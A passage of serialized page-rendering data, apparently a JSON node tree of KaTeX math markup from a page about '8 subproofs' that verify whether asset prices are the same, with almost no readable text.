prices",{"type":21,"tag":91,"props":97468,"children":97469},{},[97470],{"type":26,"value":95729},{"type":21,"tag":22,"props":97472,"children":97473},{},[97474],{"type":21,"tag":8055,"props":97475,"children":97476},{},[97477],{"type":26,"value":95742},{"type":21,"tag":87,"props":97479,"children":97480},{},[97481],{"type":21,"tag":91,"props":97482,"children":97483},{},[97484],{"type":26,"value":97485},"8 subproofs",{"type":21,"tag":22,"props":97487,"children":97488},{},[97489],{"type":21,"tag":8055,"props":97490,"children":97491},{},[97492],{"type":26,"value":95763},{"type":21,"tag":87,"props":97494,"children":97495},{},[97496,97906,98237,98604,98991],{"type":21,"tag":91,"props":97497,"children":97498},{},[97499,97901,97902],{"type":21,"tag":78,"props":97500,"children":97502},{"className":97501},[6715,6716],[97503],{"type":21,"tag":153,"props":97504,"children":97506},{"className":97505},[6721],[97507],{"type":21,"tag":153,"props":97508,"children":97510},{"className":97509,"ariaHidden":3294},[6726],[97511,97647],{"type":21,"tag":153,"props":97512,"children":97514},{"className":97513},[6731],[97515,97519,97524,97529,97534,97539,97544,97549,97554,97559,97564,97569,97574,97579,97584,97589,97594,97599,97604,97609,97614,97619,97624,97629,97634,97638,97643],{"type":21,"tag":153,"props":97516,"children":97518},{"className":97517,"style":95286},[6736],[],{"type":21,"tag":153,"props":97520,"children":97522},{"className":97521},[6742,24280],[97523],{"type":26,"value":24422},{"type":21,"tag":153,"props":97525,"children":97527},{"className":97526},[6742,24280],[97528],{"type":26,"value":95314},{"type":21,"tag":153,"props":97530,"children":97532},{"className":97531},[6742,24280],[97533],{"type":26,"value":24422},{"type":21,"tag":153,"props":97535,"children":97537},{"className":97536},[6742,24280],[97538],{"type":26,"value":29},{"type":21,"tag":153,"props":97540,"children":97542},{"className":97541,"style":95356},[6742,24280],[97543],{"type":26,"value":95359},{"type":21,"tag":153,"props":97545,"children":97547},{"className":97546,"style":95344},[6742],[97548],{"type":26,"value":5834},{"type":21,"tag":153,"props":97550,"children":97552},{"className":97551},[6742,24280],[97553],{"type":26,"value":29},{"type":21,"tag":153,"props":97555,"children":97557},{"className":97556},[6742,24280],[97558],{"type":26,"value":95335},{"type":21,"tag":153,"props":97560,"children":97562},{"className":97561},[6742,24280],[97563],{"type":26,"value":24422},{"type":21,"tag":153,"props":97565,"children":97567},{"className":97566,"style":95344},[6742],[97568],{"type":26,"value":5834},{"type":21,"tag":153,"props":97570,"children":97572},{"className":97571},[6742,24280],[97573],{"type":26,"value":95352},{"type":21,"tag":153,"props":97575,"children":97577},{"className":97576,"style":95356},[6742,24280],[97578],{"type":26,"value":95359},{"type":21,"tag":153,"props":97580,"children":97582},{"className":97581},[6742,24280],[97583],{"type":26,"value":95365},{"type":21,"tag":153,"props":97585,"children":97587},{"className":97586},[6742,24280],[97588],{"type":26,"value":95371},{"type":21,"tag":153,"props":97590,"children":97592},{"className":97591},[24409],[97593],{"type":26,"value":211},{"type":21,"tag":153,"props":97595,"children":97597},{"className":97596},[6742,24280],[97598],{"type":26,"value":29},{"type":21,"tag":153,"props":97600,"children":97602},{"className":97601},[6742,24280],[97603],{"type":26,"value":95335},{"type":21,"tag":153,"props":97605,"children":97607},{"className":97606},[6742,24280],[97608],{"type":26,"value":24422},{"type":21,"tag":153,"props":97610,"children":97612},{"className":97611,"style":95344},[6742],[97613],{"type":26,"value":5834},{"type":21,"tag":153,"props":97615,"children":97617},{"className":97616},[6742,24280],[97618],{"type":26,"value":58695},{"type":21,"tag":153,"props":97620,"children":97622},{"className":97621},[6742,24280],[97623],{"type":26,"value":95603},{"type":21,"tag":153,"props":97625,"children":97627},{"className":97626},[6742,24280],[97628],{"type":26,"value":53424},{"type":21,"tag":153,"props":97630,"children":97632},{"className":97631},[24431],[97633],{"type":26,"value":350},{"type":21,"tag":153,"props":97635,"children":97637},{"className":97636,"style":6918},[6820],[],{"type":21,"tag":153,"props":97639,"children":97641},{"className":97640},[6923],[97642],{"type":26,"value":1694},{"type":21,"tag":153,"props":97644,"children":97646},{"className":97645,"style":6918},[6820],[],{"type":21,"tag":153,"props":97648,"children":97650},{"className":97649},[6731],[97651,97655,97660,97665,97670,97675,97680,97685,97691,97750,97755,97760,97765,97770,97775,97780,97785,97790,97796,97801,97806,97811,97816,97821,97826,97831,97836,97841,97846,97851,97856,97861,97866,97871,97876,97881,97886,97891,97896],{"type":21,"tag":153,"props":97652,"children":97654},{"className":97653,"style":95286},[6736],[],{"type":21,"tag":153,"props":97656,"children":97658},{"className":97657},[6742],[97659],{"type":26,"value":95934},{"type":21,"tag":153,"props":97661,"children":97663},{"className":97662},[6820],[97664],{"type":26,"value":24381},{"type":21,"tag":153,"props":97666,"children":97668},{"className":97667},[6742,24280],[97669],{"type":26,"value":13372},{"type":21,"tag":153,"props":97671,"children":97673},{"className":97672},[6742,24280],[97674],{"type":26,"value":95603},{"type":21,"tag":153,"props":97676,"children":97678},{"className":97677},[6742,24280],[97679],{"type":26,"value":5972},{"type":21,"tag":153,"props":97681,"children":97683},{"className":97682},[6742,24280],[97684],{"type":26,"value":22},{"type":21,"tag":153,"props":97686,"children":97688},{"className":97687},[6742,24280],[97689],{"type":26,"value":97690},"roo",{"type":21,"tag":153,"props":97692,"children":97694},{"className":97693},[6742],[97695,97701],{"type":21,"tag":153,"props":97696,"children":97699},{"className":97697,"style":97698},[6742,24280],"margin-right:0.10764em;",[97700],{"type":26,"value":35778},{"type":21,"tag":153,"props":97702,"children":97704},{"className":97703},[6757],[97705],{"type":21,"tag":153,"props":97706,"children":97708},{"className":97707},[6762,24334],[97709,97739],{"type":21,"tag":153,"props":97710,"children":97712},{"className":97711},[6767],[97713,97734],{"type":21,"tag":153,"props":97714,"children":97716},{"className":97715,"style":95873},[6772],[97717],{"type":21,"tag":153,"props":97718,"children":97720},{"style":97719},"top:-2.55em;margin-left:-0.1076em;margin-right:0.05em;",[97721,97725],{"type":21,"tag":153,"props":97722,"children":97724},{"className":97723,"style":6782},[6781],[],{"type":21,"tag":153,"props":97726,"children":97728},{"className":97727},[6787,6788,6789,6790],[97729],{"type":21,"tag":153,"props":97730,"children":97732},{"className":97731},[6742,24280,6790],[97733],{"type":26,"value":6471},{"type":21,"tag":153,"props":97735,"children":97737},{"className":97736},[24437],[97738],{"type":26,"value":24440},{"type":21,"tag":153,"props":97740,"children":97742},{"className":97741},[6767],[97743],{"type":21,"tag":153,"props":97744,"children":97746},{"className":97745,"style":95427},[6772],[97747],{"type":21,"tag":153,"props":97748,"children":97749},{},[],{"type":21,"tag":153,"props":97751,"children":97753},{"className":97752},[6742],[97754],{"type":26,"value":355},{"type":21,"tag":153,"props":97756,"children":97758},{"className":97757},[6742,24280],[97759],{"type":26,"value":22},{"type":21,"tag":153,"props":97761,"children":97763},{"className":97762},[6742,24280],[97764],{"type":26,"value":95603},{"type":21,"tag":153,"props":97766,"children":97768},{"className":97767},[6742,24280],[97769],{"type":26,"value":5972},{"type":21,"tag":153,"props":97771,"children":97773},{"className":97772,"style":95356},[6742,24280],[97774],{"type":26,"value":95359},{"type":21,"tag":153,"props":97776,"children":97778},{"className":97777},[6742,24280],[97779],{"type":26,"value":6471},{"type":21,"tag":153,"props":97781,"children":97783},{"className":97782},[6742,24280],[97784],{"type":26,"value":5896},{"type":21,"tag":153,"props":97786,"children":97788},{"className":97787,"style":95344},[6742],[97789],{"type":26,"value":5834},{"type":21,"tag":153,"props":97791,"children":97793},{"className":97792},[6742,24280],[97794],{"type":26,"value":97795},"in",{"type":21,"tag":153,"props":97797,"children":97799},{"className":97798},[6742,24280],[97800],{"type":26,"value":22},{"type":21,"tag":153,"props":97802,"children":97804},{"className":97803},[6742,24280],[97805],{"type":26,"value":95603},{"type":21,"tag":153,"props":97807,"children":97809},{"className":97808},[6742,24280],[97810],{"type":26,"value":24422},{"type":21,"tag":153,"props":97812,"children":97814},{"className":97813},[6742],[97815],{"type":26,"value":355},{"type":21,"tag":153,"props":97817,"children":97819},{"className":97818},[6742,24280],[97820],{"type":26,"value":29},{"type":21,"tag":153,"props":97822,"children":97824},{"className":97823},[6742,24280],[97825],{"type":26,"value":95335},{"type":21,"tag":153,"props":97827,"children":97829},{"className":97828},[6742,24280],[97830],{"type":26,"value":24422},{"type":21,"tag":153,"props":97832,"children":97834},{"className":97833,"style":95344},[6742],[97835],{"type":26,"value":5834},{"type":21,"tag":153,"props":97837,"children":97839},{"className":97838},[6742,24280],[97840],{"type":26,"value":95352},{"type":21,"tag":153,"props":97842,"children":97844},{"className":97843,"style":95356},[6742,24280],[97845],{"type":26,"value":95359},{"type":21,"tag":153,"props":97847,"children":97849},{"className":97848},[6742,24280],[97850],{"type":26,"value":95365},{"type":21,"tag":153,"props":97852,"children":97854},{"className":97853},[6742,24280],[97855],{"type":26,"value":96174},{"type":21,"tag":153,"props":97857,"children":97859},{"className":97858},[24409],[97860],{"type":26,"value":211},{"type":21,"tag":153,"props":97862,"children":97864},{"className":97863},[6742,24280],[97865],{"type":26,"value":29},{"type":21,"tag":153,"props":97867,"children":97869},{"className":97868},[6742,24280],[97870],{"type":26,"value":95335},{"type":21,"tag":153,"props":97872,"children":97874},{"className":97873},[6742,24280],[97875],{"type":26,"value":24422},{"type":21,"tag":153,"props":97877,"children":97879},{"className":97878,"style":95344},[6742],[97880],{"type":26,"value":5834},{"type":21,"tag":153,"props":97882,"children":97884},{"className":97883},[6742,24280],[97885],{"type":26,"value":58695},{"type":21,"tag":153,"props":97887,"children":97889},{"className":97888},[6742,24280],[97890],{"type":26,"value":95603},{"type":21,"tag":153,"props":97892,"children":97894},{"className":97893},[6742,24280],[97895],{"type":26,"value":53424},{"type":21,"tag":153,"props":97897,"children":97899},{"className":97898},[24431],[97900],{"type":26,"value":350},{"type":26,"value":9187},{"type":21,"tag":8055,"props":97903,"children":97904},{},[97905],{"type":26,"value":96734},{"type":21,"tag":91,"props":97907,"children":97908},{},[97909],{"type":21,"tag":78,"props":97910,"children":97912},{"className":97911},[6715,6716],[97913],{"type":21,"tag":153,"props":97914,"children":97916},{"className":97915},[6721],[97917],{"type":21,"tag":153,"props":97918,"children":97920},{"className":97919,"ariaHidden":3294},[6726],[97921,98027],{"type":21,"tag":153,"props":97922,"children":97924},{"className":97923},[6731],[97925,97929,97934,97939,97944,97949,97954,97959,97964,97969,97974,97979,97984,97989,97994,97999,98004,98009,98014,98018,98023],{"type":21,"tag":153,"props":97926,"children":97928},{"className":97927,"style":95286},[6736],[],{"type":21,"tag":153,"props":97930,"children":97932},{"className":97931},[6742,24280],[97933],{"type":26,"value":29},{"type":21,"tag":153,"props":97935,"children":97937},{"className":97936},[6742,24280],[97938],{"type":26,"value":95335},{"type":21,"tag":153,"props":97940,"children":97942},{"className":97941},[6742,24280],[97943],{"type":26,"value":24422},{"type":21,"tag":153,"props":97945,"children":97947},{"className":97946,"style":95344},[6742],[97948],{"type":26,"value":5834},{"type":21,"tag":153,"props":97950,"children":97952},{"className":97951},[6742,24280],[97953],{"type":26,"value":22},{"type":21,"tag":153,"props":97955,"children":97957},{"className":97956,"style":95344},[6742,24280],[97958],{"type":26,"value":96163},{"type":21,"tag":153,"props":97960,"children":97962},{"className":97961},[6742,24280],[97963],{"type":26,"value":6471},{"type":21,"tag":153,"props":97965,"children":97967},{"className":97966},[6742,24280],[97968],{"type":26,"value":95371},{"type":21,"tag":153,"props":97970,"children":97972},{"className":97971},[24409],[97973],{"type":26,"value":211},{"type":21,"tag":153,"props":97975,"children":97977},{"className":97976},[6742,24280],[97978],{"type":26,"value":29},{"type":21,"tag":153,"props":97980,"children":97982},{"className":97981},[6742,24280],[97983],{"type":26,"value":95335},{"type":21,"tag":153,"props":97985,"children":97987},{"className":97986},[6742,24280],[97988],{"type":26,"value":24422},{"type":21,"tag":153,"props":97990,"children":97992},{"className":97991,"style":95344},[6742],[97993],{"type":26,"value":5834},{"type":21,"tag":153,"props":97995,"children":97997},{"className":97996},[6742,24280],[97998],{"type":26,"value":58695},{"type":21,"tag":153,"props":98000,"children":98002},{"className":98001},[6742,24280],[98003],{"type":26,"value":95603},{"type":21,"tag":153,"props":98005,"children":98007},{"className":98006},[6742,24280],[98008],{"type":26,"value":53424},{"type":21,"tag":153,"props":98010,"children":98012},{"className":98011},[24431],[98013],{"type":26,"value":350},{"type":21,"tag":153,"props":98015,"children":98017},{"className":98016,"style":6918},[6820],[],{"type":21,"tag":153,"props":98019,"children":98021},{"className":98020},[6923],[98022],{"type":26,"value":1694},{"type":21,"tag":153,"props":98024,"children":98026},{"className":98025,"style":6918},[6820],[],{"type":21,"tag":153,"props":98028,"children":98030},{"className":98029},[6731],[98031,98035,98040,98045,98050,98055,98060,98117,98122,98127,98132,98137,98142,98147,98152,98157,98162,98167,98172,98177,98182,98187,98192,98197,98202,98207,98212,98217,98222,98227,98232],{"type":21,"tag":153,"props":98032,"children":98034},{"className":98033,"style":95286},[6736],[],{"type":21,"tag":153,"props":98036,"children":98038},{"className":98037},[6742,24280],[98039],{"type":26,"value":13372},{"type":21,"tag":153,"props":98041,"children":98043},{"className":98042},[6742,24280],[98044],{"type":26,"value":95603},{"type":21,"tag":153,"props":98046,"children":98048},{"className":98047},[6742,24280],[98049],{"type":26,"value":5972},{"type":21,"tag":153,"props":98051,"children":98053},{"className":98052},[6742,24280],[98054],{"type":26,"value":22},{"type":21,"tag":153,"props":98056,"children":98058},{"className":98057},[6742,24280],[98059],{"type":26,"value":97690},{"type":21,"tag":153,"props":98061,"children":98063},{"className":98062},[6742],[98064,98069],{"type":21,"tag":153,"props":98065,"children":98067},{"className":98066,"style":97698},[6742,24280],[98068],{"type":26,"value":35778},{"type":21,"tag":153,"props":98070,"children":98072},{"className":98071},[6757],[98073],{"type":21,"tag":153,"props":98074,"children":98076},{"className":98075},[6762,24334],[98077,98106],{"type":21,"tag":153,"props":98078,"children":98080},{"className":98079},[6767],[98081,98101],{"type":21,"tag":153,"props":98082,"children":98084},{"className":98083,"style":95873},[6772],[98085],{"type":21,"tag":153,"props":98086,"children":98087},{"style":97719},[98088,98092],{"type":21,"tag":153,"props":98089,"children":98091},{"className":98090,"style":6782},[6781],[],{"type":21,"tag":153,"props":98093,"children":98095},{"className":98094},[6787,6788,6789,6790],[98096],{"type":21,"tag":153,"props":98097,"children":98099},{"className":98098},[6742,24280,6790],[98100],{"type":26,"value":6471},{"type":21,"tag":153,"props":98102,"children":98104},{"className":98103},[24437],[98105],{"type":26,"value":24440},{"type":21,"tag":153,"props":98107,"children":98109},{"className":98108},[6767],[98110],{"type":21,"tag":153,"props":98111,"children":98113},{"className":98112,"style":95427},[6772],[98114],{"type":21,"tag":153,"props":98115,"children":98116},{},[],{"type":21,"tag":153,"props":98118,"children":98120},{"className":98119},[6742],[98121],{"type":26,"value":355},{"type":21,"tag":153,"props":98123,"children":98125},{"className":98124},[6742,24280],[98126],{"type":26,"value":22},{"type":21,"tag":153,"props":98128,"children":98130},{"className":98129},[6742,24280],[98131],{"type":26,"value":95603},{"type":21,"tag":153,"props":98133,"children":98135},{"className":98134},[6742,24280],[98136],{"type":26,"value":5972},{"type":21,"tag":153,"props":98138,"children":98140},{"className":98139,"style":95356},[6742,24280],[98141],{"type":26,"value":95359},{"type":21,"tag":153,"props":98143,"children":98145},{"className":98144},[6742,24280],[98146],{"type":26,"value":6471},{"type":21,"tag":153,"props":98148,"children":98150},{"className":98149},[6742,24280],[98151],{"type":26,"value":5896},{"type":21,"tag":153,"props":98153,"children":98155},{"className":98154,"style":95344},[6742],[98156],{"type":26,"value":5834},{"type":21,"tag":153,"props":98158,"children":98160},{"className":98159},[6742,24280],[98161],{"type":26,"value":97795},{"type":21,"tag":153,"props":98163,"children":98165},{"className":98164},[6742,24280],[98166],{"type":26,"value":22},{"type":21,"tag":153,"props":98168,"children":98170},{"className":98169},[6742,24280],[98171],{"type":26,"value":95603},{"type":21,"tag":153,"props":98173,"children":98175},{"className":98174},[6742,24280],[98176],{"type":26,"value":24422},{"type":21,"tag":153,"props":98178,"children":98180},{"className":98179},[6742],[98181],{"type":26,"value":355},{"type":21,"tag":153,"props":98183,"children":98185},{"className":98184},[6742,24280],[98186],{"type":26,"value":29},{"type":21,"tag":153,"props":98188,"children":98190},{"className":98189},[6742,24280],[98191],{"type":26,"value":95335},{"type":21,"tag":153,"props":98193,"children":98195},{"className":98194},[6742,24280],[98196],{"type":26,"value":24422},{"type":21,"tag":153,"props":98198,"children":98200},{"className":98199,"style":95344},[6742],[98201],{"type":26,"value":5834},{"type":21,"tag":153,"props":98203,"children":98205},{"className":98204},[6742,24280],[98206],{"type":26,"value":22},{"type":21,"tag":153,"props":98208,"children":98210},{"className":98209,"style":95344},[6742,24280],[98211],{"type":26,"value":96163},{"type":21,"tag":153,"props":98213,"children":98215},{"className":98214},[6742,24280],[98216],{"type":26,"value":6471},{"type":21,"tag":153,"props":98218,"children":98220},{"className":98219},[6742,24280],[98221],{"type":26,"value":96174},{"type":21,"tag":153,"props":98223,"children":98225},{"className":98224},[24409],[98226],{"type":26,"value":211},{"type":21,"tag":153,"props":98228,"children":98230},{"className":98229},[6742],[98231],{"type":26,"value":2996},{"type":21,"tag":153,"props":98233,"children":98235},{"className":98234},[24431],[98236],{"type":26,"value":350},{"type":21,"tag":91,"props":98238,"children":98239},{},[98240,98598,98599],{"type":21,"tag":78,"props":98241,"children":98243},{"className":98242},[6715,6716],[98244],{"type":21,"tag":153,"props":98245,"children":98247},{"className":98246},[6721],[98248],{"type":21,"tag":153,"props":98249,"children":98251},{"className":98250,"ariaHidden":3294},[6726],[98252,98358],{"type":21,"tag":153,"props":98253,"children":98255},{"className":98254},[6731],[98256,98260,98265,98270,98275,98280,98285,98290,98295,98300,98305,98310,98315,98320,98325,98330,98335,98340,98345,98349,98354],{"type":21,"tag":153,"props":98257,"children":98259},{"className":98258,"style":95286},[6736],[],{"type":21,"tag":153,"props":98261,"children":98263},{"className":98262},[6742,24280],[98264],{"type":26,"value":29},{"type":21,"tag":153,"props":98266,"children":98268},{"className":98267},[6742,24280],[98269],{"type":26,"value":95335},{"type":21,"tag":153,"props":98271,"children":98273},{"className":98272},[6742,24280],[98274],{"type":26,"value":24422},{"type":21,"tag":153,"props":98276,"children":98278},{"className":98277,"style":95344},[6742],[98279],{"type":26,"value":5834},{"type":21,"tag":153,"props":98281,"children":98283},{"className":98282},[6742,24280],[98284],{"type":26,"value":22},{"type":21,"tag":153,"props":98286,"children":98288},{"className":98287,"style":95344},[6742,24280],[98289],{"type":26,"value":96163},{"type":21,"tag":153,"props":98291,"children":98293},{"className":98292},[6742,24280],[98294],{"type":26,"value":6471},{"type":21,"tag":153,"props":98296,"children":98298},{"className":98297},[6742,24280],[98299],{"type":26,"value":95371},{"type":21,"tag":153,"props":98301,"children":98303},{"className":98302},[24409],[98304],{"type":26,"value":211},{"type":21,"tag":153,"props":98306,"children":98308},{"className":98307},[6742,24280],[98309],{"type":26,"value":29},{"type":21,"tag":153,"props":98311,"children":98313},{"className":98312},[6742,24280],[98314],{"type":26,"value":95335},{"type":21,"tag":153,"props":98316,"children":98318},{"className":98317},[6742,24280],[98319],{"type":26,"value":24422},{"type":21,"tag":153,"props":98321,"children":98323},{"className":98322,"style":95344},[6742],[98324],{"type":26,"value":5834},{"type":21,"tag":153,"props":98326,"children":98328},{"className":98327},[6742,24280],[98329],{"type":26,"value":58695},{"type":21,"tag":153,"props":98331,"children":98333},{"className":98332},[6742,24280],[98334],{"type":26,"value":95603},{"type":21,"tag":153,"props":98336,"children":98338},{"className":98337},[6742,24280],[98339],{"type":26,"value":53424},{"type":21,"tag":153,"props":98341,"children":98343},{"className":98342},[24431],[98344],{"type":26,"value":350},{"type":21,"tag":153,"props":98346,"children":98348},{"className":98347,"style":6918},[6820],[],{"type":21,"tag":153,"props":98350,"children":98352},{"className":98351},[6923],[98353],{"type":26,"value":1694},{"type":21,"tag":153,"props":98355,"children":98357},{"className":98356,"style":6918},[6820],[],{"type":21,"tag":153,"props":98359,"children":98361},{"className":98360},[6731],[98362,98366,98371,98376,98381,98386,98391,98448,98453,98458,98463,98468,98473,98478,98483,98488,98493,98498,98503,98508,98513,98518,98523,98528,98533,98538,98543,98548,98553,98558,98563,98568,98573,98578,98583,98588,98593],{"type":21,"tag":153,"props":98363,"children":98365},{"className":98364,"style":95286},[6736],[],{"type":21,"tag":153,"props":98367,"children":98369},{"className":98368},[6742,24280],[98370],{"type":26,"value":13372},{"type":21,"tag":153,"props":98372,"children":98374},{"className":98373},[6742,24280],[98375],{"type":26,"value":95603},{"type":21,"tag":153,"props":98377,"children":98379},{"className":98378},[6742,24280],[98380],{"type":26,"value":5972},{"type":21,"tag":153,"props":98382,"children":98384},{"className":98383},[6742,24280],[98385],{"type":26,"value":22},{"type":21,"tag":153,"props":98387,"children":98389},{"className":98388},[6742,24280],[98390],{"type":26,"value":97690},{"type":21,"tag":153,"props":98392,"children":98394},{"className":98393},[6742],[98395,98400],{"type":21,"tag":153,"props":98396,"children":98398},{"className":98397,"style":97698},[6742,24280],[98399],{"type":26,"value":35778},{"type":21,"tag":153,"props":98401,"children":98403},{"className":98402},[6757],[98404],{"type":21,"tag":153,"props":98405,"children":98407},{"className":98406},[6762,24334],[98408,98437],{"type":21,"tag":153,"props":98409,"children":98411},{"className":98410},[6767],[98412,98432],{"type":21,"tag":153,"props":98413,"children":98415},{"className":98414,"style":95873},[6772],[98416],{"type":21,"tag":153,"props":98417,"children":98418},{"style":97719},[98419,98423],{"type":21,"tag":153,"props":98420,"children":98422},{"className":98421,"style":6782},[6781],[],{"type":21,"tag":153,"props":98424,"children":98426},{"className":98425},[6787,6788,6789,6790],[98427],{"type":21,"tag":153,"props":98428,"children":98430},{"className":98429},[6742,24280,6790],[98431],{"type":26,"value":6471},{"type":21,"tag":153,"props":98433,"children":98435},{"className":98434},[24437],[98436],{"type":26,"value":24440},{"type":21,"tag":153,"props":98438,"children":98440},{"className":98439},[6767],[98441],{"type":21,"tag":153,"props":98442,"children":98444},{"className":98443,"style":95427},[6772],[98445],{"type":21,"tag":153,"props":98446,"children":98447},{},[],{"type":21,"tag":153,"props":98449,"children":98451},{"className":98450},[6742],[98452],{"type":26,"value":355},{"type":21,"tag":153,"props":98454,"children":98456},{"className":98455},[6742,24280],[98457],{"type":26,"value":22},{"type":21,"tag":153,"props":98459,"children":98461},{"className":98460},[6742,24280],[98462],{"type":26,"value":95603},{"type":21,"tag":153,"props":98464,"children":98466},{"className":98465},[6742,24280],[98467],{"type":26,"value":5972},{"type":21,"tag":153,"props":98469,"children":98471},{"className":98470,"style":95356},[6742,24280],[98472],{"type":26,"value":95359},{"type":21,"tag":153,"props":98474,"children":98476},{"className":98475},[6742,24280],[98477],{"type":26,"value":6471},{"type":21,"tag":153,"props":98479,"children":98481},{"className":98480},[6742,24280],[98482],{"type":26,"value":5896},{"type":21,"tag":153,"props":98484,"children":98486},{"className":98485,"style":95344},[6742],[98487],{"type":26,"value":5834},{"type":21,"tag":153,"props":98489,"children":98491},{"className":98490},[6742,24280],[98492],{"type":26,"value":97795},{"type":21,"tag":153,"props":98494,"children":98496},{"className":98495},[6742,24280],[98497],{"type":26,"value":22},{"type":21,"tag":153,"props":98499,"children":98501},{"className":98500},[6742,24280],[98502],{"type":26,"value":95603},{"type":21,"tag":153,"props":98504,"children":98506},{"className":98505},[6742,24280],[98507],{"type":26,"value":24422},{"type":21,"tag":153,"props":98509,"children":98511},{"className":98510},[6742],[98512],{"type":26,"value":355},{"type":21,"tag":153,"props":98514,"children":98516},{"className":98515},[6742,24280],[98517],{"type":26,"value":29},{"type":21,"tag":153,"props":98519,"children":98521},{"className":98520},[6742,24280],[98522],{"type":26,"value":95335},{"type":21,"tag":153,"props":98524,"children":98526},{"className":98525},[6742,24280],[98527],{"type":26,"value":24422},{"type":21,"tag":153,"props":98529,"children":98531},{"className":98530,"style":95344},[6742],[98532],{"type":26,"value":5834},{"type":21,"tag":153,"props":98534,"children":98536},{"className":98535},[6742,24280],[98537],{"type":26,"value":22},{"type":21,"tag":153,"props":98539,"children":98541},{"className":98540,"style":95344},[6742,24280],[98542],{"type":26,"value":96163},{"type":21,"tag":153,"props":98544,"children":98546},{"className":98545},[6742,24280],[98547],{"type":26,"value":6471},{"type":21,"tag":153,"props":98549,"children":98551},{"className":98550},[6742,24280],[98552],{"type":26,"value":96174},{"type":21,"tag":153,"props":98554,"children":98556},{"className":98555},[24409],[98557],{"type":26,"value":211},{"type":21,"tag":153,"props":98559,"children":98561},{"className":98560},[6742,24280],[98562],{"type":26,"value":29},{"type":21,"tag":153,"props":98564,"children":98566},{"className":98565},[6742,24280],[98567],{"type":26,"value":95335},{"type":21,"tag":153,"props":98569,"children":98571},{"className":98570},[6742,24280],[98572],{"type":26,"value":24422},{"type":21,"tag":153,"props":98574,"children":98576},{"className":98575,"style":95344},[6742],[98577],{"type":26,"value":5834},{"type":21,"tag":153,"props":98579,"children":98581},{"className":98580},[6742,24280],[98582],{"type":26,"value":58695},{"type":21,"tag":153,"props":98584,"children":98586},{"className":98585},[6742,24280],[98587],{"type":26,"value":95603},{"type":21,"tag":153,"props":98589,"children":98591},{"className":98590},[6742,24280],[98592],{"type":26,"value":53424},{"type":21,"tag":153,"props":98594,"children":98596},{"className":98595},[24431],[98597],{"type":26,"value":350},{"type":26,"value":9187},{"type":21,"tag":8055,"props":98600,"children":98601},{},[98602],{"type":26,"value":98603},"(verifies if all asset prices are the same)",{"type":21,"tag":91,"props":98605,"children":98606},{},[98607,98986,98987],{"type":21,"tag":78,"props":98608,"children":98610},{"className":98609},[6715,6716],[98611],{"type":21,"tag":153,"props":98612,"children":98614},{"className":98613},[6721],[98615],{"type":21,"tag":153,"props":98616,"children":98618},{"className":98617,"ariaHidden":3294},[6726],[98619,98700],{"type":21,"tag":153,"props":98620,"children":98622},{"className":98621},[6731],[98623,98627,98632,98637,98642,98647,98652,98657,98662,98667,98672,98677,98682,98687,98691,98696],{"type":21,"tag":153,"props":98624,"children":98626},{"className":98625,"style":96757},[6736],[],{"type":21,"tag":153,"props":98628,"children":98630},{"className":98629},[6742,24280],[98631],{"type":26,"value":53424},{"type":21,"tag":153,"props":98633,"children":98635},{"className":98634,"style":95344},[6742,24280],[98636],{"type":26,"value":96769},{"type":21,"tag":153,"props":98638,"children":98640},{"className":98639,"style":96773},[6742,24280],[98641],{"type":26,"value":90981},{"type":21,"tag":153,"props":98643,"children":98645},{"className":98644,"style":95356},[6742,24280],[98646],{"type":26,"value":95359},{"type":21,"tag":153,"props":98648,"children":98650},{"className":98649},[6742,24280],[98651],{"type":26,"value":53745},{"type":21,"tag":153,"props":98653,"children":98655},{"className":98654,"style":95344},[6742],[98656],{"type":26,"value":5834},{"type":21,"tag":153,"props":98658,"children":98660},{"className":98659},[6742,24280],[98661],{"type":26,"value":24422},{"type":21,"tag":153,"props":98663,"children":98665},{"className":98664},[6742,24280],[98666],{"type":26,"value":96801},{"type":21,"tag":153,"props":98668,"children":98670},{"className":98669,"style":95344},[6742],[98671],{"type":26,"value":5834},{"type":21,"tag":153,"props":98673,"children":98675},{"className":98674},[6742,24280],[98676],{"type":26,"value":96812},{"type":21,"tag":153,"props":98678,"children":98680},{"className":98679},[6742,24280],[98681],{"type":26,"value":13372},{"type":21,"tag":153,"props":98683,"children":98685},{"className":98684},[6742,24280],[98686],{"type":26,"value":86642},{"type":21,"tag":153,"props":98688,"children":98690},{"className":98689,"style":6918},[6820],[],{"type":21,"tag":153,"props":98692,"children":98694},{"className":98693},[6923],[98695],{"type":26,"value":1694},{"type":21,"tag":153,"props":98697,"children":98699},{"className":98698,"style":6918},[6820],[],{"type":21,"tag":153,"props":98701,"children":98703},{"className":98702},[6731],[98704,98708,98713,98718,98723,98728,98733,98738,98743,98748,98753,98810,98815,98819,98824,98829,98886,98891,98895,98900,98905,98909,98914,98919,98981],{"type":21,"tag":153,"props":98705,"children":98707},{"className":98706,"style":6841},[6736],[],{"type":21,"tag":153,"props":98709,"children":98711},{"className":98710,"style":24281},[6742,24280],[98712],{"type":26,"value":24284},{"type":21,"tag":153,"props":98714,"children":98716},{"className":98715},[6742,24280],[98717],{"type":26,"value":95298},{"type":21,"tag":153,"props":98719,"children":98721},{"className":98720},[6742,24280],[98722],{"type":26,"value":6471},{"type":21,"tag":153,"props":98724,"children":98726},{"className":98725},[6742,24280],[98727],{"type":26,"value":72859},{"type":21,"tag":153,"props":98729,"children":98731},{"className":98730},[6742,24280],[98732],{"type":26,"value":95314},{"type":21,"tag":153,"props":98734,"children":98736},{"className":98735},[6742,24280],[98737],{"type":26,"value":58695},{"type":21,"tag":153,"props":98739,"children":98741},{"className":98740},[24409],[98742],{"type":26,"value":189},{"type":21,"tag":153,"props":98744,"children":98746},{"className":98745},[6742,24280],[98747],{"type":26,"value":96812},{"type":21,"tag":153,"props":98749,"children":98751},{"className":98750},[6742,24280],[98752],{"type":26,"value":13372},{"type":21,"tag":153,"props":98754,"children":98756},{"className":98755},[6742],[98757,98762],{"type":21,"tag":153,"props":98758,"children":98760},{"className":98759},[6742,24280],[98761],{"type":26,"value":86642},{"type":21,"tag":153,"props":98763,"children":98765},{"className":98764},[6757],[98766],{"type":21,"tag":153,"props":98767,"children":98769},{"className":98768},[6762,24334],[98770,98799],{"type":21,"tag":153,"props":98771,"children":98773},{"className":98772},[6767],[98774,98794],{"type":21,"tag":153,"props":98775,"children":98777},{"className":98776,"style":95396},[6772],[98778],{"type":21,"tag":153,"props":98779,"children":98780},{"style":95400},[98781,98785],{"type":21,"tag":153,"props":98782,"children":98784},{"className":98783,"style":6782},[6781],[],{"type":21,"tag":153,"props":98786,"children":98788},{"className":98787},[6787,6788,6789,6790],[98789],{"type":21,"tag":153,"props":98790,"children":98792},{"className":98791},[6742,6790],[98793],{"type":26,"value"